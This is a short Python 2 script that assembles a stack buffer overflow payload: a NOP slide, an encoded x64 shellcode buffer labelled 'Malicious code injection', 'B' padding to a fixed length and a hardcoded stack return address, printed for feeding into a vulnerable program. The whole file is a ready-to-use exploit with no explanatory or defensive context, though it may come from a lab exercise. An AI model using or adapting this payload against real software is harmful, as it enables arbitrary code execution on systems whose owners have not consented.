#!/usr/bin/python
payload_length = 424
## Amount of nops
nop_length = 100
#0x7fffffffddf0
#0x7fffffffded0: 
#return_address =  '\xf0\xdd\xff\xff\xff\x7f\x00\x00'
return_address =  '\xd0\xde\xff\xff\xff\x7f\x00\x00'
## Building the nop slide
nop_slide = "\x90" * nop_length

## Malicious code injection
buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xc5\xe7\x76\x87\xc5\x35\x99"
buf += "\x1a\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\xaf\xce\x2e\x1e\xaf\x37\xc6\x70\xc4\xb9\x79\x82\x8d"
buf += "\xa2\xd1\xa3\xc7\xe7\x67\xdb\x05\x9d\x63\x89\x94\xaf"
buf += "\xff\x61\xaf\x25\xc3\x70\xef\xbf\x79\x82\xaf\x36\xc7"
buf += "\x52\x3a\x29\x1c\xa6\x9d\x3a\x9c\x6f\x33\x8d\x4d\xdf"
buf += "\x5c\x7d\x22\x35\xa7\x8e\x18\xa8\xb6\x5d\x99\x49\x8d"
buf += "\x6e\x91\xd5\x92\x7d\x10\xfc\xca\xe2\x76\x87\xc5\x35"
buf += "\x99\x1a"

## Building the padding between buffer overflow start and return address
padding = 'B' * (payload_length - nop_length - len(buf))
#perfect
print nop_slide + buf +  padding + return_address
